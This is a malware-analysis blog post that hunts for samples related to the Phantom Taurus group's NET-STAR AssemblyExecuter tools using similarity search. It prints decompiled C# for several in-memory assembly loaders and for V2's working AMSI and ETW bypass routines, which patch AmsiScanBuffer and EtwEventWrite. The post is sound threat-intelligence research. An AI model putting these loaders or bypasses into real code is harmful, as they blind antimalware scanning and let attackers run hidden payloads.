Skip to main content
Contact us: blog@ukatemi.com
TECHNICAL BLOG ukatemi.com

Phantom Taurus related samples

Overview

On September 30, Unit42 of Palo Alto Networks released a report about a new Chinese APT thay named Phantom Taurus. They've been tracking the activity of this actor for 2.5 years and now they determined that they knew enough to promote them to a new formally named threat actor.

They describe a new .NET malware suite named NET-STAR, used by the threat actor. They publish 3 components:

The following table shows when each of the samples were uploaded to KSS and VT.

Name SHA256 Kaibou upload VT upload
IIServerCore backdoor eeed5530fa1cdeb69398dc058aaa01160eab15d4dcdcd6cb841240987db284dc - -
AssemblyExecuter V1 3e55bf8ecaeec65871e6fca4cb2d4ff2586f83a20c12977858348492d2d0dec4 2024-09-18 20:54:29 UTC 2024-09-19 01:37:36 UTC
AssemblyExecuter V2 afcb6289a4ef48bf23bab16c0266f765fab8353d5e1b673bd6e39b315f83676e 2025-06-03 03:43:17 UTC 2025-06-04 04:14:02 UTC
AssemblyExecuter V2 b76e243cf1886bd0e2357cbc7e1d2812c2c0ecc5068e61d681e0d5cff5b8e038 2025-06-03 03:48:29 UTC 2025-06-04 04:13:58 UTC

The AssemblyExecuter samples are all quite small, a few hundred lines of C# code maximum. It doesn't take much effort to rewrite them from scratch differently. In this report we'll use the following four terms to refer to the relation between the original sample mentioned in the report and a sample we found:

Analysis

Searching for these hashes in KSS gives us all three of the Assembly Executer samples listed in the reports:

Searching for the hashes in KSS
Searching for the hashes in KSS
We can download the samples and take a look with ILSpy.

Assembly Executer V1 (3e55bf...d0dec4)

There is only one interesting function, run(Hashtable).

Tree view with ILSpy
Tree view with ILSpy

Decompiled source code of the function looks like the following. It decodes raw assembly bytes from parameters in memory and invokes it's EntryPoint.

using System;
using System.Collections;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("ExecuteAssembly")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("ExecuteAssembly")]
[assembly: AssemblyCopyright("Copyright ©  2022")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("b37679d5-b8ca-4a0e-b39a-ecfc775bc69b")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace ExecuteAssembly;

public class Run
{
	[DllImport("shell32.dll", SetLastError = true)]
	private static extern IntPtr CommandLineToArgvW([MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs);

	public static string[] commandLineToArgs(string commandLine)
	{
		int pNumArgs;
		IntPtr intPtr = CommandLineToArgvW(commandLine, out pNumArgs);
		if (intPtr == IntPtr.Zero)
		{
			throw new Win32Exception();
		}
		try
		{
			string[] array = new string[pNumArgs];
			for (int i = 0; i < array.Length; i++)
			{
				IntPtr ptr = Marshal.ReadIntPtr(intPtr, i * IntPtr.Size);
				array[i] = Marshal.PtrToStringUni(ptr);
			}
			return array;
		}
		finally
		{
			Marshal.FreeHGlobal(intPtr);
		}
	}

	public string run(Hashtable parameters)
	{
		Hashtable hashtable = (Hashtable)parameters["session"];
		string commandLine = Encoding.Default.GetString((byte[])parameters["commandLine"]);
		byte[] array = (byte[])parameters["protocolFile"];
		byte[] array2 = (byte[])parameters["assemblyBytes"];
		if (array != null)
		{
			array2 = (byte[])hashtable[Encoding.Default.GetString(array)];
		}
		if (array2 == null)
		{
			return "assemblyBytes is empty";
		}
		MethodInfo entryPoint = Assembly.Load(array2).EntryPoint;
		if ((object)entryPoint == null)
		{
			return "Unable to find entry point in this assembly";
		}
		string[] array3 = commandLineToArgs(commandLine);
		TextWriter textWriter = Console.Out;
		TextWriter error = Console.Error;
		MemoryStream memoryStream = new MemoryStream();
		TextWriter textWriter2 = new StreamWriter(memoryStream);
		Console.SetOut(textWriter2);
		Console.SetError(textWriter2);
		try
		{
			entryPoint.Invoke(null, new object[1] { array3 });
		}
		catch (Exception ex)
		{
			textWriter2.WriteLine();
			textWriter2.Write("Exception:\r\n");
			textWriter2.Write(ex.Message);
			textWriter2.WriteLine();
			textWriter2.Write(ex.StackTrace);
		}
		finally
		{
			Console.SetError(error);
			Console.SetOut(textWriter);
		}
		textWriter2.Flush();
		textWriter2.Dispose();
		return Encoding.Default.GetString(memoryStream.ToArray());
	}
}

As it was mentioned in the report The actor changed the compilation time to a random future date to hide the malware’s real compilation timestamp. This is visible on VT, it was set to 2074-06-26 03:26:03 UTC. Another info we may use for similar file matching is the .NET library version by DetectItEasy. Value for this sample is v2.0.50727. We should also take note of the file size: 5632 bytes. File version information will also be important later, Product, and Description are the same and Original Name and Internal Name just have an additional extension at the end.

Distinguishing information on VirusTotal
Distinguishing information on VirusTotal
File version information on VirusTotal
File version information on VirusTotal

Let's try to find some similar samples using TLSH similarity search in KSS! We used the threshold of 80 because the more reliable threshold of 40 only gave us the sample itself. The most similar sample (by TLSH) has difference score 53. This is quite high so we should expect many unrelated files that just happen to be of similar size, also using .NET. We have 48416 samples in our database (of the 777 million) that were bellow 80 difference score. We highlighted a few that were uploaded to our database in 2024, because the Unit 42 report stated that V1 was used around this time. To speed up processing of the results, we downloaded the first 10k samples, generated their .cs source code estimations. The largest difference scrote was 70. We searched for Assembly.Load in the source codes because this function call is a core part of the original loader. This gave us 88 results, that we checked manually. In the following section, we list the similar or related files.

Results for similarity search to Assembly Executer V1 in KSS
Results for similarity search to Assembly Executer V1 in KSS

Similar samples: 0efa77...edc262, 0d408e...112257

The closest sample is 0efa774e33525c571dfbbded346d05acb3a4555c2df72e619b3a82a08aedc262 with difference score 53. And a very similar sample to this one is 0d408efb56ef86c17649aaa2345e227fb91eb58a99a02c4369a3c1bbf5112257 with 67.

Attribute Value
Name Stealth_Assembly_Loader.exe
SHA256 0efa774e33525c571dfbbded346d05acb3a4555c2df72e619b3a82a08aedc262
TLSH 15C1A51153E88B7AF9778B73AD7797450268F7218D53CF2D28C8560F6D022284D63B70
KSS upload 2023-06-21 22:04:04 UTC
VT upload 2023-06-21 16:14:25 UTC
Relation Similar
PDB C:\Users\tester\source\repos\Stealth_Assembly_Loader\Stealth_Assembly_Loader\obj\Release\Stealth_Assembly_Loader.pdb
Attribute Value
Name AssemblyLoader.exe
SHA256 0d408efb56ef86c17649aaa2345e227fb91eb58a99a02c4369a3c1bbf5112257
TLSH B7B1841193D88332EFBB8B72BD736384537CFB61ACA79B6D24C4562B6D126144933B20
KSS upload 2025-02-09 05:28:13 UTC
VT upload 2024-06-15 16:49:40 UTC
Relation Similar
PDB E:\DFromYBLaptop\0000\scarg\AssemblyLoader\AssemblyLoader\obj\Release\AssemblyLoader.pdb

The VirusTotal static info looks promising for both samples. The first sample has exactly the same size (though this is probably mostly coincidence), the creation time is also some seemingly random future date, the .NET version is different. The file version information also follows the same scheme as the original sample. It's worth to take a closer look at these samples.

Related information on VirusTotal to 0efa77...edc262
Related information on VirusTotal to 0efa77...edc262
File version information on VirusTotal to 0efa77...edc262
File version information on VirusTotal to 0efa77...edc262

Functions of 0efa77...edc262 by ILSpy
Functions of 0efa77...edc262 by ILSpy

The program is as simple as the original one. It loads the executable file passed as its first argument to memory and invokes its EntryPoint with the second argument split on spaces.

using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("Stealth_Assembly_Loader")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Stealth_Assembly_Loader")]
[assembly: AssemblyCopyright("Copyright ©  2023")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("049bdb28-25c3-4108-98e3-7b268f48e416")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace SAA;

internal class Program
{
	private static void Main(string[] args)
	{
		if (args.Length < 1)
		{
			Console.WriteLine("Usage:");
			Console.WriteLine("AssLdr.exe <FILE.EXE> \"<param1 param2 paramX>\"");
			return;
		}
		byte[] assemblyBytes = File.ReadAllBytes(args[0]);
		string[] param = new string[0];
		if (args.Length > 1)
		{
			param = args[1].Split(new char[1] { ' ' });
		}
		ExeAssem(assemblyBytes, param);
	}

	public static void ExeAssem(byte[] assemblyBytes, string[] param)
	{
		MethodInfo entryPoint = Assembly.Load(assemblyBytes).EntryPoint;
		object[] array = new string[1][] { param };
		object[] parameters = array;
		entryPoint.Invoke(null, parameters);
	}
}

Source code of 0d408e...112257 is quite similar. It even has an ExecuteAssembly function:

using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("AssemblyLoader")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("AssemblyLoader")]
[assembly: AssemblyCopyright("Copyright ©  2021")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("682e2551-0820-4807-b0ca-cfe6dd7eea21")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace AssemblyLoader;

internal class Program
{
	private static void Main(string[] args)
	{
		if (args.Length < 1)
		{
			Console.WriteLine("Usage:");
			Console.WriteLine("AssemblyLoader.exe <path_to_file.bin> \"<param1 param2 paramX>\"");
			return;
		}
		string path = args[0];
		string[] parameters = new string[0];
		if (args.Length > 1)
		{
			parameters = args[1].Split(new char[1] { ' ' });
		}
		ExecuteAssembly(File.ReadAllBytes(path), parameters);
	}

	public static void ExecuteAssembly(byte[] assemblyBytes, string[] parameters)
	{
		MethodInfo entryPoint = Assembly.Load(assemblyBytes).EntryPoint;
		object[] parameters2 = new object[1] { parameters };
		entryPoint.Invoke(null, parameters2);
	}
}

The generated codes of these two samples are very similar. These samples match each other, they probably come from the same source tree with tiny modifications even though their PDB paths are very different. Compared to the original Assembly Executer V1, these samples are similar or unrelated. Some static information and overall functionality matches the original sample, but code has very different structure.

Attribute Value
Name EvalCode.dll
SHA256 a77f418fbc3dfcd3e83b2806755a468c474da37889b85c00439e0626efaf9781
TLSH DAC1A516E3F4873AE5F60E3A7EA3926146B6F3205C63CA5E0CC4054E4C276610E32BB5
KSS upload 2024-09-18 20:54:29 UTC
VT upload 2024-09-18 21:32:58 UTC
Relation Related

The static information is promising though there are differences in .NET version and file size. This sample was uploaded into our database in the same feed file as the original sample, at 2024-09-18 20:54:29 UTC. It was uploaded to VirusTotal 4 hours later than the original sample, at 2024-09-19 01:37:36 UTC.

VirusTotal static info for a77f41...af9781
VirusTotal static info for a77f41...af9781
VirusTotal file version info for a77f41...af9781
VirusTotal file version info for a77f41...af9781

Functions of sample a77f41...af9781
Functions of sample a77f41...af9781

The generated source code of this sample has many similarities with the original sample. It has a run() function that uses a Hashtable parameter(s) dictionary of byte[] values. The original sample had a functionality to load the assembly bytes from session via protocolFile. If this wasn't specified, the assemblyBytes were loaded and started at EntryPoint so this loads and executable PE file. The protocol functionality from the similar sample is missing, it can still load raw assembly from dllBytes parameter but instead of EntryPoint, it instantiates a type from FullTypeName parameter meaning that it can load DLLs rather than executables. It also has a functionality to directly load C# source code, compile it and create the selected type using runCsharpCode() function.

using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.CSharp;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("EvalCode")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("EvalCode")]
[assembly: AssemblyCopyright("Copyright ©  2022")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("d15701ae-8e5c-472a-991d-0ba907eeb491")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]
public class Run
{
	private Hashtable parameter;

	public override bool Equals(object obj)
	{
		if (obj is Hashtable)
		{
			parameter = (Hashtable)obj;
		}
		return base.Equals(obj);
	}

	private string runCsharpCode(string code, string typeName)
	{
		ICodeCompiler val = ((CodeDomProvider)new CSharpCodeProvider()).CreateCompiler();
		CompilerParameters val2 = new CompilerParameters();
		List<string> list = new List<string>();
		Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
		foreach (Assembly assembly in assemblies)
		{
			list.Add(assembly.Location);
		}
		val2.ReferencedAssemblies.AddRange(list.ToArray());
		val2.CompilerOptions = "/t:library";
		val2.GenerateInMemory = true;
		val2.GenerateExecutable = false;
		val2.IncludeDebugInformation = false;
		CompilerResults val3 = val.CompileAssemblyFromSource(val2, code);
		if (((CollectionBase)(object)val3.Errors).Count > 0)
		{
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.AppendLine("An exception occurred during compilation");
			foreach (CompilerError item in (CollectionBase)(object)val3.Errors)
			{
				CompilerError val4 = item;
				stringBuilder.AppendFormat("[{0}][{1}] Line:{2} Column:{3} ErrorText:{4}\r\n", val4.IsWarning ? "Warning" : "Error", val4.ErrorNumber, val4.Line, val4.Column, val4.ErrorText);
			}
			return stringBuilder.ToString();
		}
		return val3.CompiledAssembly.CreateInstance(typeName).ToString();
	}

	private string run()
	{
		byte[] array = (byte[])parameter["codeBytes"];
		byte[] array2 = (byte[])parameter["dllBytes"];
		string text = Encoding.Default.GetString((byte[])parameter["FullTypeName"]);
		if ((array != null || array2 != null) && text != null)
		{
			try
			{
				if (array != null)
				{
					return runCsharpCode(Encoding.Default.GetString(array), text);
				}
				if (array2 != null)
				{
					return Assembly.Load(array2).CreateInstance(text).ToString();
				}
			}
			catch (Exception ex)
			{
				return ex.ToString();
			}
			return "not result";
		}
		return "codeBytes is empty";
	}

	public override string ToString()
	{
		parameter["result"] = Encoding.Default.GetBytes(run());
		return base.ToString();
	}
}

This is very similar functionality to the original V1 sample. The static information, file name, Creation Time, first submission date also correlates with it. The file has no PDB path, just like the original sample. The generated source codes of the two samples have some similar characteristics but are different. We deem these samples related.

Based on the last analysis on VT, which happened when the sample was uploaded (a year ago), there are 0 detections. We did not trigger reanalysis for the sample.

VirusTotal detections for a77f41...af9781 as of 2024-09-18
VirusTotal detections for a77f41...af9781 as of 2024-09-18

Checking many other samples with differences 62 and above reveal multiple files that also have Creation Time set to a random future date while the programs themselves have very different, even meaningless functionalities. So this indicator might not be significant after all. Yet we didn't find any Visual Studio settings that would do this TimeDateStamp manipulation automatically. We also checked this field with other PE header parsing tools and the values were all matching the ones on VT, so it wasn't just erroneous parsing.

We also searched for samples to this specific date, now that two related samples were found in this batch. All of the other samples in the response were unrelated to these files.

Searching for PE samples uploaded to KSS at 2024-09-18 20:54:29 UTC
Searching for PE samples uploaded to KSS at 2024-09-18 20:54:29 UTC

Assembly Executer V2 (afcb62...83676e, b76e24...b8e038)

As stated by the Unit42 report V2 is an enhanced version of AssemblyExecuter V1 that is also equipped with Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) bypass capabilities

The decompiled code of the two samples are functionally identical. It expects a command line argument in the following form: <base64-encoded-assembly>####etw####amsi####<arguments to assembly>. etw will trigger loading ntdll.dll into memory and overwriting the first instruction of EtwEventWrite with ret (c3 00), a known ETW bypass technique. Similarly amsi will load amsi.dll and overwrite the first instructions of AmsiScanBuffer with mov eax, 0x80070057; ret (b8 57 00 07 80 c3) so it returns E_INVALIDARG (also known). After these are performed, the assembly's EntryPoint is invoked.

Assembly Executer V2 ILSpy tree view
Assembly Executer V2 ILSpy tree view

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("ExecuteAssembly")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("ExecuteAssembly")]
[assembly: AssemblyCopyright("Copyright ©  2024")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("8e6e50f9-28d0-46b2-8e77-6f82f9c57215")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET Framework 4.6")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace ExecuteAssembly;

public class Service
{
	public byte[] AsemblyBytes { get; set; }

	public string CommandLine { get; set; }

	public bool ETW { get; set; }

	private string RunAssembly()
	{
		StringWriter stringWriter = new StringWriter();
		Console.SetOut(stringWriter);
		MethodInfo entryPoint = Assembly.Load(AsemblyBytes).EntryPoint;
		object[] array = null;
		if (!string.IsNullOrEmpty(CommandLine))
		{
			string[] array2 = CommandLine.Split(new char[1] { ' ' });
			array = new object[1] { array2 };
		}
		else
		{
			array = new object[1] { new string[0] };
		}
		entryPoint.Invoke(null, array);
		string text = stringWriter.ToString();
		Console.SetOut(Console.Out);
		Console.WriteLine(text);
		return text;
	}

	[DllImport("kernel32")]
	private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

	[DllImport("kernel32")]
	private static extern IntPtr LoadLibrary(string name);

	[DllImport("kernel32")]
	private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

	private void BypassETW()
	{
		string procName = "EtwEventWrite";
		IntPtr procAddress = GetProcAddress(LoadLibrary("ntdll.dll"), procName);
		byte[] array = new byte[2] { 195, 0 };
		VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var lpflOldProtect);
		Marshal.Copy(array, 0, procAddress, array.Length);
		VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, lpflOldProtect, out var _);
	}

	private void BypassAmsi()
	{
		string procName = "AmsiScanBuffer";
		IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), procName);
		byte[] array = new byte[6] { 184, 87, 0, 7, 128, 195 };
		VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var lpflOldProtect);
		Marshal.Copy(array, 0, procAddress, array.Length);
		VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, lpflOldProtect, out var _);
	}

	public List<Dictionary<string, string>> Run(string Params)
	{
		List<Dictionary<string, string>> list = new List<Dictionary<string, string>>();
		Dictionary<string, string> dictionary = new Dictionary<string, string>();
		try
		{
			string[] array = Params.Split(new string[1] { "####" }, StringSplitOptions.None);
			AsemblyBytes = Convert.FromBase64String(array[0]);
			if (array.Length > 1)
			{
				if (array[1] == "etw")
				{
					BypassETW();
				}
				if (array[2] == "amsi")
				{
					BypassAmsi();
				}
				CommandLine = array[3];
			}
			list.Add(new Dictionary<string, string> { 
			{
				"exec_result",
				RunAssembly()
			} });
			dictionary.Add("status", "ok");
			list.Add(dictionary);
		}
		catch (Exception ex)
		{
			dictionary.Add("status", "error");
			dictionary.Add("msg", ex.Message);
			list.Add(dictionary);
		}
		return list;
	}
}

Thought the decompiled code of the two samples is almost identical, the files themselves have large differing parts. Maybe because afcb62...83676e was compiled in Release mode and b76e24...b8e038 was compiled in Debug mode.

The TLSH difference of these two samples is 76, quite high but considering that ~25% of the bytes are different between the two samples (taking into account their shifts and offsets), it's not that much. Still this means that we need to look for similar samples to both of them separately.

Searching for similars to afcb62...83676e yields 11214 samples while b76e24...b8e038 has 1894 results with threshold 80. We dowloaded all of them and generated their source codes. Then we filtered those containing the case-insensitive string amsi in them. This gave us 61 samples 2 of these were the original ones.

Similarity search results in KSS to afcb62...83676e
Similarity search results in KSS to afcb62...83676e

None of these 63 samples are related or similar to the Assembly Executer V2 samples. They all implement some kind of AMSI bypass, mostly the same technique as the original samples but there are others as well. There are examples to ETW and WLDP bypasses as well. Further analysis of these samples is detailed in the related blog post.

Summary

In this report we searched for similar samples to Assembly Executer V1 and V2 of Phantom Taurus. We found that the 3 original samples were inserted to Kaibou earlier than they were uploaded to VT. We analyzed the decompiled source codes of 22k .NET malware samples. Found two similar and one related samples to V1. The related sample currently has 0 detections on VirusTotal (1 year old analysis). There are 61 samples from the KSS similarity search results that contain some kind of AMSI bypass but all of them are quite different from the V2 samples. Their analysis is detailed in the related blog post

Samples

Attribute Value
Name ServerCore.dll
SHA256 eeed5530fa1cdeb69398dc058aaa01160eab15d4dcdcd6cb841240987db284dc
TLSH ?
KSS upload -
VT upload -
Relation Original IIServerCore backdoor
Attribute Value
Name ExecuteAssembly.dll
SHA256 3e55bf8ecaeec65871e6fca4cb2d4ff2586f83a20c12977858348492d2d0dec4
TLSH ADC1940263E88729EDFA8F327D63975202B4B7218D63DE5E0CC4564B2D23A284D31B74
KSS upload 2024-09-18 20:54:29 UTC
VT upload 2024-09-19 01:37:36 UTC
Relation Original Assembly Executer V1
Attribute Value
Name ExecuteAssembly.dll
SHA256 afcb6289a4ef48bf23bab16c0266f765fab8353d5e1b673bd6e39b315f83676e
TLSH F1D1D612DBF84726EDBA0F32FEF393040A31FB21AD53CB6F898955571D223145A22B61
KSS upload 2025-06-03 03:43:17 UTC
VT upload 2025-06-04 04:14:02 UTC
Relation Original Assembly Executer V2 Release
PDB C:\Users\admin\Desktop\starshard\NETstarshard\ExecuteAssembly\obj\Release\ExecuteAssembly.pdb
Attribute Value
Name ExecuteAssembly.dll
SHA256 b76e243cf1886bd0e2357cbc7e1d2812c2c0ecc5068e61d681e0d5cff5b8e038
TLSH 30E1E90997E44375ECBA0B32BDF797010B39F6129E63CB6F898C88471D2572816A1F71
KSS upload 2025-06-03 03:48:29 UTC
VT upload 2025-06-04 04:13:58 UTC
Relation Original Assembly Executer V2 Debug
PDB C:\Users\admin\Desktop\starshard\NETstarshard\ExecuteAssembly\obj\Debug\ExecuteAssembly.pdb
Attribute Value
Name Stealth_Assembly_Loader.exe
SHA256 0efa774e33525c571dfbbded346d05acb3a4555c2df72e619b3a82a08aedc262
TLSH 15C1A51153E88B7AF9778B73AD7797450268F7218D53CF2D28C8560F6D022284D63B70
KSS upload 2023-06-21 22:04:04 UTC
VT upload 2023-06-21 16:14:25 UTC
Relation Similar to Assembly Executer V1
PDB C:\Users\tester\source\repos\Stealth_Assembly_Loader\Stealth_Assembly_Loader\obj\Release\Stealth_Assembly_Loader.pdb
Attribute Value
Name AssemblyLoader.exe
SHA256 0d408efb56ef86c17649aaa2345e227fb91eb58a99a02c4369a3c1bbf5112257
TLSH B7B1841193D88332EFBB8B72BD736384537CFB61ACA79B6D24C4562B6D126144933B20
KSS upload 2025-02-09 05:28:13 UTC
VT upload 2024-06-15 16:49:40 UTC
Relation Similar to Assembly Executer V1
PDB E:\DFromYBLaptop\0000\scarg\AssemblyLoader\AssemblyLoader\obj\Release\AssemblyLoader.pdb
Attribute Value
Name EvalCode.dll
SHA256 a77f418fbc3dfcd3e83b2806755a468c474da37889b85c00439e0626efaf9781
TLSH DAC1A516E3F4873AE5F60E3A7EA3926146B6F3205C63CA5E0CC4054E4C276610E32BB5
KSS upload 2024-09-18 20:54:29 UTC
VT upload 2024-09-18 21:32:58 UTC
Relation Related to Assembly Executer V1

Want to message us? Contact us: blog@ukatemi.com